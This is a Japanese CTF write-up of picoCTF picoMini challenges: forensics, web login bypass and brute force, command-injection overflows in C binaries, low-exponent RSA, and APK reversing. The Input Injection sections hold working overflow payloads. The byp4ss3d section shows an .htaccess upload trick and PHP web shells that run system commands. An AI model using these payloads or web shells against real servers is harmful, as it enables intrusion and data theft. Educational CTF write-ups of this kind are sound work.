picoCTF Challenge Library WriteUp (picoMini by CMU-Africa) のwriteup。
難易度は易しめで、Pico Bankを除いた全てのチャレンジを解けた。(Pico Bankはフラグ入手まであと一息というところまで行ったが、解析環境の問題で断念)
Riddle Registry
PDFを解析してフラグを取得する問題。ファイルのメタデータにフラグがBase64エンコードされていた。
└─$ exiftool confidential.pdf
ExifTool Version Number : 12.76
File Name : confidential.pdf
Directory : .
File Size : 183 kB
File Modification Date/Time : 2026:08:29 09:49:12-04:00
File Access Date/Time : 2026:08:29 09:50:12-04:00
File Inode Change Date/Time : 2026:08:29 09:50:04-04:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.7
Linearized : No
Page Count : 1
Producer : PyPDF2
Author : cGljb0NURntwdXp6bDNkX20zdGFkYXRhX2YwdW5kIV9mOTQzMDBjNH0=
└─$ echo cGljb0NURntwdXp6bDNkX20zdGFkYXRhX2YwdW5kIV9mOTQzMDBjNH0= | base64 -d
picoCTF{puzzl3d_m3tadata_f0und!_<REDACTED>}
Log Hunt
ログを解析してフラグを取得する問題。ログファイルserver.logの中に平文のフラグが分割して散りばめられていた。
└─$ grep FLAGPART server.log | cut -f 5 -d " " | uniq
picoCTF{us3_
y0urlinux_
sk1lls_
cedfa5fb}
picoCTF{us3_
y0urlinux_
sk1lls_
<REDACTED>}
picoCTF{us3_
y0urlinux_
sk1lls_
<REDACTED>}
Hidden in plainsight
画像ファイルを解析してフラグを取得する問題。
ファイルのメタデータに不審なBase64エンコードされたコメントを発見。
└─$ file img.jpg
img.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "c3RlZ2hpZGU6Y0VGNmVuZHZjbVE9", baseline, precision 8, 640x640, components 3
デコードしたところ、steghide:cEF6endvcmQ=という文字列が現れた。
└─$ echo c3RlZ2hpZGU6Y0VGNmVuZHZjbVE9 | base64 -d
steghide:cEF6endvcmQ=
恐らくsteghideを利用して画像ファイルにフラグを埋め込んでいるのだろう。cEF6endvcmQ=をBase64デコードしたところ、pAzzwordという文字列が現れた。steghideでフラグを抽出する際のパスフレーズと思われる。
└─$ echo -n cEF6endvcmQ= | base64 -d
pAzzword
steghideで画像ファイルからflag.txtというファイルを抽出できた (案の定、パスフレーズはpAzzword)。
└─$ steghide extract --stegofile img.jpg
Enter passphrase:
wrote extracted data to "flag.txt".
flag.txtにフラグが記載されていた。
└─$ cat flag.txt
picoCTF{h1dd3n_1n_1m4g3_<REDACTED>}
Flag in Flame
logs.txtというファイルを解析してフラグを取得する問題。
logs.txtはBase64エンコードされており、デコードするとPNGの画像ファイルが現れた。
└─$ base64 -d logs.txt > out.png
└─$ file out.png
out.png: PNG image data, 896 x 1152, 8-bit/color RGB, non-interlaced
└─$ exiftool out.png
ExifTool Version Number : 12.76
File Name : out.png
Directory : .
File Size : 1194 kB
File Modification Date/Time : 2026:08:29 10:05:14-04:00
File Access Date/Time : 2026:08:29 10:05:14-04:00
File Inode Change Date/Time : 2026:08:29 10:05:14-04:00
File Permissions : -rw-rw-r--
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 896
Image Height : 1152
Bit Depth : 8
Color Type : RGB
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
Image Size : 896x1152
Megapixels : 1.0
以下はデコードされた画像ファイル。画像下部にHexエンコードされたデータを発見。

Hexデコードしたところ、フラグが現れた。
└─$ echo -n 7069636f4354467b666f72656e736963735f616e616c797369735f69735f616d617a696e675f63373564643038657d | xxd -r -p
picoCTF{forensics_analysis_is_amazing_<REDACTED>}
Crack the Gate 1
Webサイトを解析してフラグを取得する問題。
サイトにアクセスするとログインフォームが表示され、ソースコードを確認したところ、以下の不審なコメントタグをを発見。
<!-- ABGR: Wnpx - grzcbenel olcnff: hfr urnqre "K-Qri-Npprff: lrf" -->
<!-- Remove before pushing to production! -->
決め打ちでABGR: Wnpx - grzcbenel olcnff: hfr urnqre "K-Qri-Npprff: lrf"をROT13デコードしたところ、以下のメッセージが現れた (デコードにはCyberChefを使用)。
NOTE: Jack - temporary bypass: use header "X-Dev-Access: yes"
X-Dev-Access: yes というHTTPヘッダーを付与すれば、ログイン認証を回避できそう。
上記のヘッダーを付与してサイトにリクエストを送ったところ、フラグを取れた。
└─$ curl -i http://amiable-citadel.picoctf.net:64916/login -d "email=ctf-player@picoctf.org" -d "password=password" -H "X-Dev-Access: yes"
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 127
ETag: W/"7f-eueA4NkuAKjd2bH+tFrwVcgnUqc"
Date: Sat, 29 Aug 2026 14:24:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"success":true,"email":"ctf-player@picoctf.org","firstName":"pico","lastName":"player","flag":"picoCTF{brut4_f0rc4_<REDACTED>}"}
Corrupted file
意図的にヘッダーを壊されたファイルを修復してフラグを取得する問題。
謎のファイルfileを渡された。
└─$ file file
file: data
ヘッダーを確認したところ、どうやらJPEG画像ファイルっぽい。
└─$ xxd file | head
00000000: 5c78 ffe0 0010 4a46 4946 0001 0100 0001 \x....JFIF......
00000010: 0001 0000 ffdb 0043 0008 0606 0706 0508 .......C........
00000020: 0707 0709 0908 0a0c 140d 0c0b 0b0c 1912 ................
00000030: 130f 141d 1a1f 1e1d 1a1c 1c20 242e 2720 ........... $.'
00000040: 222c 231c 1c28 3729 2c30 3134 3434 1f27 ",#..(7),01444.'
00000050: 393d 3832 3c2e 3334 32ff db00 4301 0909 9=82<.342...C...
00000060: 090c 0b0c 180d 0d18 3221 1c21 3232 3232 ........2!.!2222
00000070: 3232 3232 3232 3232 3232 3232 3232 3232 2222222222222222
00000080: 3232 3232 3232 3232 3232 3232 3232 3232 2222222222222222
00000090: 3232 3232 3232 3232 3232 3232 3232 ffc0 22222222222222..
Hexエディターで先頭の2バイト 5c78をJPEGのマジックナンバーのffd8に修正したところ、JPEG画像ファイルとして認識された。
└─$ xxd file.jpeg | head
00000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0001 ......JFIF......
00000010: 0001 0000 ffdb 0043 0008 0606 0706 0508 .......C........
00000020: 0707 0709 0908 0a0c 140d 0c0b 0b0c 1912 ................
00000030: 130f 141d 1a1f 1e1d 1a1c 1c20 242e 2720 ........... $.'
00000040: 222c 231c 1c28 3729 2c30 3134 3434 1f27 ",#..(7),01444.'
00000050: 393d 3832 3c2e 3334 32ff db00 4301 0909 9=82<.342...C...
00000060: 090c 0b0c 180d 0d18 3221 1c21 3232 3232 ........2!.!2222
00000070: 3232 3232 3232 3232 3232 3232 3232 3232 2222222222222222
00000080: 3232 3232 3232 3232 3232 3232 3232 3232 2222222222222222
00000090: 3232 3232 3232 3232 3232 3232 3232 ffc0 22222222222222..
└─$ file file.jpeg
file.jpeg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 800x500, components 3
修復されたJPEG画像ファイルを開いたところ、フラグが平文で記載されていた。
Crack the Gate 2
Webサイトにブルートフォース攻撃を仕掛けてログインし、フラグを取得する問題。
ユーザー名としてctf-player@picoctf.org、パスワードの候補としてpasswords.txtが提供された。
└─$ cat passwords.txt
o8GijNLh
FxmTBRic
PE4KtqXe
5Tec2YXd
aDbsDtO9
wSfCgTKV
jaOwWyI1
3HEQWIU0
EI528AbD
Dc7E3bM2
A9q6Ww68
MCpeUa3f
ljqkyqNf
Fbn8zYwV
bfSwplYv
qTmOzEej
jW6RWYbR
xgmwDQ3I
NITi7pqd
KANstcT2
またCrack the Gate 1の攻略法を引き継いでおり、リクエストの際にX-Dev-Access: yesというヘッダーを指定する必要がある。
試しにpasswords.txtから適当なパスワードを選んでログインのリクエストを送ってみたところ、ログインに失敗。
└─$ curl -i $URL/login -d "email=ctf-player@picoctf.org" -d "password=o8GijNLh" -H "X-Dev-Access: yes"
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 17
ETag: W/"11-UIVUdQWNarX1D9mk06okyEMbpS8"
Date: Thu, 10 Sep 2026 13:32:20 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"success":false}
再度ログインを試みたところ、20分後にもう一度リクエストを送れとのこと。
└─$ curl -i $URL/login -d "email=ctf-player@picoctf.org" -d "password=o8GijNLh" -H "X-Dev-Access: yes"
HTTP/1.1 429 Too Many Requests
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 85
ETag: W/"55-BeJP6dUudMpXjI0h8c0UICFySpk"
Date: Thu, 10 Sep 2026 13:32:43 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"success":false,"error":"Too many failed attempts. Please try again in 20 minutes."}
どうやら一度にログインに失敗すると、20分間リクエストが遮断されてしまうらしい。
ただし、サーバーのインスタンスを再起動すると遮断が解除されるので、力技であるが、
passwords.txtのパスワードを1個ずつ順番に試す。- リクエストが遮断されたらサーバーのインスタンスを再起動して、改めてログインのリクエストを送る。
上記を繰り返したところ、パスワードDc7E3bM2でログインに成功し、フラグを入手できた。
└─$ curl -i $URL/login -d "email=ctf-player@picoctf.org" -d "password=Dc7E3bM2" -H "X-Dev-Access: yes"
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 132
ETag: W/"84-zomLVUa23P1dR8/7IKKNATCmFpc"
Date: Thu, 10 Sep 2026 13:40:07 GMT
Connection: keep-alive
Keep-Alive: timeout=5
{"success":true,"email":"ctf-player@picoctf.org","firstName":"pico","lastName":"player","flag":"picoCTF{xff_byp4ss_brut3_<REDACTED>}"}
Input Injection 1
バッファオーバーフローの脆弱性を突いてフラグを取得する問題。
バイナリファイルvulnとソースコードのvuln.cが渡された。
vulnは64ビットのELFファイルで、PIEが有効化されていなかった。
└─$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=2d121a457a25bd2e580c21b4fe8e048db9f1dcd9, for GNU/Linux 3.2.0, not stripped
└─$ checksec --file=vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 72 Symbols No 0 3 vuln
以下はプログラムの実行結果。
└─$ ./vuln
What is your name?
hoge
Goodbye, hoge!
Linux
以下はvuln.cの内容。
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
void fun(char *name, char *cmd);
int main() {
char name[200];
printf("What is your name?\n");
fflush(stdout);
fgets(name, sizeof(name), stdin);
name[strcspn(name, "\n")] = 0;
fun(name, "uname");
return 0;
}
void fun(char *name, char *cmd) {
char c[10];
char buffer[10];
strcpy(c, cmd);
strcpy(buffer, name);
printf("Goodbye, %s!\n", buffer);
fflush(stdout);
system(c);
}
ユーザーが入力したユーザー名をechoした後にsystem()を呼び出してunameコマンドを実行するという、如何にもなプログラムである。
fun()はユーザーからの入力バッファとして10バイトを確保しているが、入力バッファの受取先のstrcpy()はバッファオーバーフローに対して脆弱である。
なので、10バイトを超えるデータを入力した場合、バッファをオーバーフローさせてunameが格納されている変数cを上書きし、任意のコマンドをsystem()に渡すことができる。
エクスプロイトの構成は以下の通り。
[ごみデータ 10バイト] + [任意のコマンド]
試しに入力値としてAAAAAAAAAAdateを渡したところ、unameコマンドではなくdateコマンドが実行された。
└─$ ./vuln
What is your name?
AAAAAAAAAAdate
Goodbye, AAAAAAAAAAdate!
Thu Sep 10 10:04:25 AM EDT 2026
後は本番のプログラムにエクスプロイトを送るだけである。
lsコマンドを実行し、flag.txtを発見。
└─$ nc amiable-citadel.picoctf.net 56398
What is your name?
AAAAAAAAAAls
Goodbye, AAAAAAAAAAls!
flag.txt
cat flag.txtでフラグを入手。
└─$ nc amiable-citadel.picoctf.net 56398
What is your name?
AAAAAAAAAAcat flag.txt
Goodbye, AAAAAAAAAAcat flag.txt!
picoCTF{0v3rfl0w_c0mm4nd_<REDACTED>}
Input Injection 2
バッファオーバーフローの脆弱性を突いてフラグを取得する問題。
バイナリファイルvulnとソースコードのvuln.cが渡された。
vulnは64ビットのELFファイルで、PIEが有効化されていなかった。
└─$ file vuln
vuln: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=4511d2bf02d09495281d4998f8597bac7e609c25, for GNU/Linux 3.2.0, not stripped
└─$ checksec --file=vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 68 Symbols No 0 1 vuln
以下はプログラムの実行結果。
└─$ ./vuln
username at 0x405310
shell at 0x405340
Enter username: hoge
Hello, hoge. Your shell is /bin/pwd.
/home/kali/picoctf/cmu-africa/inputinjection2
以下はvuln.cの内容。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(void) {
char* username = malloc(28);
char* shell = malloc(28);
printf("username at %p\n", username);
fflush(stdout);
printf("shell at %p\n", shell);
fflush(stdout);
strcpy(shell, "/bin/pwd");
printf("Enter username: ");
fflush(stdout);
scanf("%s", username);
printf("Hello, %s. Your shell is %s.\n", username, shell);
system(shell);
fflush(stdout);
return 0;
}
ユーザーが入力したユーザー名をechoした後にsystem()を呼び出して/bin/pwdコマンドを実行するという、Input Injection 1と似たようなプログラムである。
このプログラムではユーザーからの入力バッファとして28バイトを確保しているが、入力バッファの受取先のscanf()とstrcpy()はどちらもバッファオーバーフローに対して脆弱である。
なので、28バイトを超えるデータを入力した場合、バッファをオーバーフローさせて変数shellに格納されている/bin/pwdを上書きし、任意のコマンドをsystem()に渡すことができる。
プログラムをGDBでデバッグして、入力データの何バイト目にエクスプロイトを埋め込むべきか確認した。
まずはGDBを起動。
└─$ gdb -q ./vuln
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
pedaのpattern_createコマンドで検証のためのパターン文字列を生成。
gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
vulnを実行し、上記のパターン文字列を入力。
gdb-peda$ r
Starting program: /home/kali/picoctf/cmu-africa/inputinjection2/vuln
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/x86_64-linux-gnu/libthread_db.so.1".
username at 0x405310
shell at 0x405340
Enter username: AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Hello, AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL. Your shell is bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAAHell.
Your shell isに続くデータがbAA1AAGAAcAに上書きされているのが分かる。このbAA1AAGAAcAが生成したパターン文字列の何文字目にあたるのかをpattern_offsetコマンドで確認。
gdb-peda$ pattern_offset bAA1AAGAAcA
bAA1AAGAAcA found at offset: 48
bAA1AAGAAcAはパターン文字列の48文字目以降にあたる。よってエクスプロイトの構成は以下のようになる。
[ごみデータ 48バイト] + [任意のコマンド]
試しに入力値としてAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdateを渡したところ、/bin/pwdコマンドではなくdateコマンドが実行された。
└─$ ./vuln
username at 0x405310
shell at 0x405340
Enter username: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdate
Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdate. Your shell is date.
Fri Sep 11 09:30:36 AM EDT 2026
後は本番のプログラムにエクスプロイトを送るだけである。
lsコマンドを実行し、flag.txtを発見。
└─$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAls" | nc amiable-citadel.picoctf.net 61868
username at 0xe7752a0
shell at 0xe7752d0
Enter username: flag.txt
Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAls. Your shell is ls.
ただ、flag.txtを開くのに少し手間取ってしまった。
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcat flag.txtだとコマンドがプログラムに入力されなかった。恐らくcatとflag.txtの間に空白が挿入されているのが原因と思われる。
└─$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcat flag.txt" | nc amiable-citadel.picoctf.net 54374
username at 0xa4ff2a0
shell at 0xa4ff2d0
Enter username:
^C
四苦八苦の末、AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcat<flag.txtでフラグを取ることができた。
└─$ echo -e "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcat<flag.txt" | nc amiable-citadel.picoctf.net 62723
username at 0x183fc2a0
shell at 0x183fc2d0
Enter username: picoCTF{us3rn4m3_2_sh3ll_<REDACTED>}Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcat<flag.txt. Your shell is cat<flag.txt.
Crack the Power
RSA暗号化されたメッセージを復号してフラグを取得する問題。
以下は渡されたmessage.txtの内容。
n = 410664186165191791402826020648772079727855370225121168329489558023676206903110917122249911944501914058167574154300515578639528319920053023867482073692484985287827372248686968550452147219495058219737726533198589146788106207104006141113375574066854852611259725786317821883172497842657985257908701482139090568993822965683214349918502719101583356882168338270447984584381812927858227415072514189838197665563968909219013964220237934124402478909876364171409578837503118525132848891505287317986848688438750873278654357181872934401664809196436196103395671068981692006881025785118124735403009761732676194557783341186696317289217601680762240946756099165359859285900990663149297784065325172930606950668533524438921457116354261722563783316401034088432522913099965625002265981169229586378601077820521982226216733874547440407450338648780337291742094848216093949046938054996321130253196977418170117347647315719448397122004966163394965123751185910309725139116961163368621449406198577849587926254211380551265442088456309106778455980283046226445371066856262215933615411567261989837352437927401685169541910706297673710978352664847844643089079402646094504545790754030992062817610552755382423490304761138904591244735268207666957111641348148546651263055711
e = 20
c = 640637430810406857500566702096274079868087131935153057078985716461078483409793615804311883296591203324452249008450521032645267345512046769994383635285244380705157432625570066632528925314552900669814963219369331313157534607620352061314683496525883016843153241425770911702563380247302073740850825452371063276867610414725164654421304873071774234683226777641240092032528116047489137507373500064099947304524782898265669628686091404044097235795818651902023996906668123465373292221934136216954999213086853380479136606214034827032162211811911299453884553459883192781319337391984912950371275232374262114220706295073924345743106413419931715570201067076471272561731959500262271837841417300230554359594018424813861589485400512131504027368400263321851762034719595379735999122340323973277638235482616225404363214027767922993075345559200374830345517529445328472713066257434684134913873359589576414681791333170123047390862933633440111883394760439698156048278154619895786259579727797488066274962774692244105308866923365722966155030681035814505674226605348055192323888099731031683511808581367884577911318683020417249790405911629045010877656025044271667195964670746001
c (cipher)が暗号化されたメッセージと思われる。
e (Exponent) の値が20と極端に小さい。Low exponent attackが使えそうである。
手抜きしてGeminiにLow exponent attackのスクリプトを書いてもらってフラグを入手。
import math
# Given parameters
n = 410664186165191791402826020648772079727855370225121168329489558023676206903110917122249911944501914058167574154300515578639528319920053023867482073692484985287827372248686968550452147219495058219737726533198589146788106207104006141113375574066854852611259725786317821883172497842657985257908701482139090568993822965683214349918502719101583356882168338270447984584381812927858227415072514189838197665563968909219013964220237934124402478909876364171409578837503118525132848891505287317986848688438750873278654357181872934401664809196436196103395671068981692006881025785118124735403009761732676194557783341186696317289217601680762240946756099165359859285900990663149297784065325172930606950668533524438921457116354261722563783316401034088432522913099965625002265981169229586378601077820521982226216733874547440407450338648780337291742094848216093949046938054996321130253196977418170117347647315719448397122004966163394965123751185910309725139116961163368621449406198577849587926254211380551265442088456309106778455980283046226445371066856262215933615411567261989837352437927401685169541910706297673710978352664847844643089079402646094504545790754030992062817610552755382423490304761138904591244735268207666957111641348148546651263055711
e = 20
c = 640637430810406857500566702096274079868087131935153057078985716461078483409793615804311883296591203324452249008450521032645267345512046769994383635285244380705157432625570066632528925314552900669814963219369331313157534607620352061314683496525883016843153241425770911702563380247302073740850825452371063276867610414725164654421304873071774234683226777641240092032528116047489137507373500064099947304524782898265669628686091404044097235795818651902023996906668123465373292221934136216954999213086853380479136606214034827032162211811911299453884553459883192781319337391984912950371275232374262114220706295073924345743106413419931715570201067076471272561731959500262271837841417300230554359594018424813861589485400512131504027368400263321851762034719595379735999122340323973277638235482616225404363214027767922993075345559200374830345517529445328472713066257434684134913873359589576414681791333170123047390862933633440111883394760439698156048278154619895786259579727797488066274962774692244105308866923365722966155030681035814505674226605348055192323888099731031683511808581367884577911318683020417249790405911629045010877656025044271667195964670746001
def nth_root(val, n):
"""Computes the exact n-th root of a large integer using integer binary search."""
low = 0
high = val
while low < high:
mid = (low + high) // 2
if mid ** n < val:
low = mid + 1
else:
high = mid
return low
# Verify condition: m^e < n
if c < n:
print("[+] Confirmed: Ciphertext is smaller than Modulus (m^e < n).")
# Calculate integer e-th root
m = nth_root(c, e)
# Verify the root
if m ** e == c:
print(f"[+] Recovered m (integer): {m}\n")
# Convert integer back to bytes / text
m_bytes = m.to_bytes((m.bit_length() + 7) // 8, byteorder='big')
try:
print(f"[+] Decoded Flag/Message: {m_bytes.decode('utf-8')}")
except UnicodeDecodeError:
print(f"[+] Decoded Bytes (Hex/Raw): {m_bytes}")
else:
print("[-] Root verification failed.")
else:
print("[-] c >= n: Wraparound occurred. Requires Hastad Broadcast or Coppersmith's attack.")
└─$ python3 solver.py
[+] Confirmed: Ciphertext is smaller than Modulus (m^e < n).
[+] Recovered m (integer): 2756326214127165272055984685514956804592781729645906388093
[+] Decoded Flag/Message: picoCTF{t1ny_e_<REDACTED>}
byp4ss3d
Webサイトの脆弱性を突いてフラグを取得する問題。
サイトにアクセスすると、画像ファイルのアップロードページが表示された。以下はソースコード。
<html>
<head>
<title>Student ID Verification</title>
</head>
<body style="text-align: center; font-family: Arial, sans-serif; background-color: #f5f5f5; padding-top: 50px;">
<h1 style="color: #34495e;">Verify Your Student Identity</h1>
<p>Please upload a scanned copy or photo of your valid student ID to continue with the registration process.</p>
<form action="upload.php" method="post" enctype="multipart/form-data" style="margin-top: 30px;">
<label for="image">Upload Image File (JPG, PNG, or GIF):</label><br><br>
<input type="file" name="image" id="image" required>
<br><br>
<input type="submit" value="Upload ID" style="padding: 10px 20px; background-color: #27ae60; color: white; border: none; cursor: pointer;">
</form>
<p style="margin-top: 40px; font-size: 0.9em; color: #7f8c8d;">
Make sure the ID is clearly visible. Only image files are accepted.<br>
</p>
</body>
</html>
ページの説明によると画像ファイルのみ受け付けるとのことで、アップロードされたファイルは/imagesからアクセスできる。
非画像ファイルでも、画像ファイル用の拡張子 (.jpgや.pngなど)を付与することでアップロードできた。
試しに簡単なWebshell myshell.php.jpgをアップロードして実行しようとしたのだが、サーバー側でPHPスクリプトとして認識されず、ソースコードが表示されるだけだった。
└─$ curl -i http://amiable-citadel.picoctf.net:62335/images/myshell.php.jpg
HTTP/1.1 200 OK
Date: Mon, 31 Aug 2026 12:31:30 GMT
Server: Apache/2.4.62 (Debian)
Last-Modified: Mon, 31 Aug 2026 12:31:18 GMT
ETag: "1e-65a56fa9b645f"
Accept-Ranges: bytes
Content-Length: 30
Content-Type: image/jpeg
<?php
print(system('ls'));
?>
Content-Type: image/jpeg より、サーバーはアップロードされたファイルを画像ファイルとして処理していることが分かる。
ファイルの拡張子をもっといじれば行けるかもと思い、色々試してみた。
以下のファイル名はアップロードの段階でフィルターにより弾かれてしまった。
myshell.php
myshell.php3
myshell.php4
myshell.jpg.php
myshell.phtml
myshell.pHP
以下のファイル名はアップロードは成功したものの、PHPスクリプトとしては認識されなかった。
myshell.php.jpg
myshell.php5
myshell.php7
myshell.phar
myshell.phps
myshell.pht
test
myshell.php%00.jpg
myshell.php....
.test
上記で隠しファイルの.testのアップロードに成功しているが、これが後の伏線になる。
一旦アップロードはやめて、サイトをgobusterでスキャンしてみた。
└─$ gobuster dir -u http://amiable-citadel.picoctf.net:58494/images/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://amiable-citadel.picoctf.net:58494/images/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta (Status: 403) [Size: 295]
/.htaccess (Status: 403) [Size: 295]
/.htpasswd (Status: 403) [Size: 295]
/test (Status: 200) [Size: 5]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================
上記は/imagesディレクトリをスキャンしたものだが、.htaccessへのリクエストに対して403 Forbidden応答を返しているのが分かる (ちなみにtestはテスト用にアップロードしたファイル)。
.htaccessファイルとは簡単に説明するとWebサーバーのディレクトリ単位で適用される設定ファイルである。
gobusterによるスキャンの結果、.htaccessへのリクエストに対して404 Not Foundではなく、 403 Forbidden応答を返しているので、/imagesディレクトリに.htaccessが配置されている可能性が高い。また、アップロードの検証の際に同じ名前のファイルをアップロードすると、以前にアップロードしたファイルが上書きされることが判明していたので、既存の.htaccessファイルを悪意のあるものと差し替えられる可能性が高い。
以下の.htaccessファイルを作成 (ちなみにGeminiに生成してもらった)。
# Force the server to execute files with .jpg extensions as PHP
AddType application/x-httpd-php .jpg
# Alternative: Map a specific filename to the PHP handler
<FilesMatch "payload\.jpg$">
SetHandler application/x-httpd-php
</FilesMatch>
上記の.htaccessファイルは/imagesディレクトリに対して以下の設定を適用する。
.jpg拡張子のファイルをPHPスクリプトとして処理する。payload.jpgという名前のファイルをPHPスクリプトとして処理する。
上記の.htaccessファイルをサーバーにアップロード (ちなみにブラウザのアップローダーだと隠しファイルが選択できなかったため、curlを使用)。
└─$ curl -X POST http://amiable-citadel.picoctf.net:59311/upload.php -F 'image=@.htaccess'
Successfully uploaded!<br>Access it at: <a href='images/.htaccess'>images/.htaccess</a>
続いて細工したpayload.jpgをアップロード。flag.txtの配置場所を確認すためのweb shellである。
└─$ cat payload.jpg
<?php
print(system('find / -name flag.txt 2>/dev/null'));
?>
payload.jpgにアクセスした結果、フラグは/var/www/flag.txtに配置されていることが分かった。
└─$ curl -i http://amiable-citadel.picoctf.net:59311/images/payload.jpg
HTTP/1.1 200 OK
Date: Tue, 01 Sep 2026 13:33:21 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.3.22
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
/var/www/flag.txt
/var/www/flag.txt
/var/www/flag.txtを読み出すようにpayload.jpgを書き換えてアップロード。
└─$ cat payload.jpg
<?php
print(system('cat /var/www/flag.txt'));
?>
アップロードしたpayload.jpgにアクセスしてフラグを入手。
└─$ curl -i http://amiable-citadel.picoctf.net:59311/images/payload.jpg
HTTP/1.1 200 OK
Date: Tue, 01 Sep 2026 13:34:44 GMT
Server: Apache/2.4.62 (Debian)
X-Powered-By: PHP/8.3.22
Vary: Accept-Encoding
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8
picoCTF{s3rv3r_byp4ss_65a9e718}picoCTF{s3rv3r_byp4ss_<REDACTED>}
M1n10n’5_53cr37
APKファイルを解析してフラグを取得する問題。
minions.apkというAPKファイルを渡されたので、まずはJARファイルに変換。
d2j-dex2jar -f -o minions.jar minions.apk
変換したJARファイルをJD-GUIで開き、ソースコードを確認。(com -> example.picoctfimage)
R.classのソースコードの中にBananaという不審な変数を発見。string classなので文字列が格納されていると思われる。
public static final class string {
public static int Banana = 2131689472;
public static int app_name = 2131689501;
}
変数Bananaの中身を確認するため、minions.apkをAndroid Studioで開き、resources.arscを選択した後、stringを選択。


以下が変数Bananaに格納されていた文字列である。
OBUWG32DKRDHWMLUL53TI43OG5PWQNDSMRPXK3TSGR3DG3BRNY4V65DIGNPW2MDCGFWDGX3DGBSDG7I=
上記をBase32デコードしたところ、フラグを取得できた。
└─$ echo "OBUWG32DKRDHWMLUL53TI43OG5PWQNDSMRPXK3TSGR3DG3BRNY4V65DIGNPW2MDCGFWDGX3DGBSDG7I=" | base32 -d
picoCTF{1t_w4sn7_h4rd_unr4v3l1n9_th3_<REDACTED>}
Pico Bank
APKファイルを解析してフラグを取得する問題。冒頭で述べたように、フラグ入手まであと一息というところまで行ったが、解析環境の問題で断念した。以下、詳細。
pico-bank.apkというAPKファイルを渡されたので、まずはJARファイルに変換。
d2j-dex2jar -f -o out.jar pico-bank.apk
変換したJARファイルをJD-GUIで開き、ソースコードを確認。(com -> example.picobank)
MainActivity.classの中に以下を発見。
this.transactionList.add(new Transaction("Grocery Shopping", "2023-07-21", "$ 1110000", false));
this.transactionList.add(new Transaction("Electricity Bill", "2023-07-20", "$ 1101001", false));
this.transactionList.add(new Transaction("Salary", "2023-07-18", "$ 1100011", true));
this.transactionList.add(new Transaction("Internet Bill", "2023-07-17", "$ 1101111", false));
this.transactionList.add(new Transaction("Freelance Payment", "2023-07-16", "$ 1000011", true));
this.transactionList.add(new Transaction("Dining Out", "2023-07-15", "$ 1010100", false));
this.transactionList.add(new Transaction("Gym Membership", "2023-07-14", "$ 1000110", false));
this.transactionList.add(new Transaction("Stocks Dividend", "2023-07-13", "$ 1111011", true));
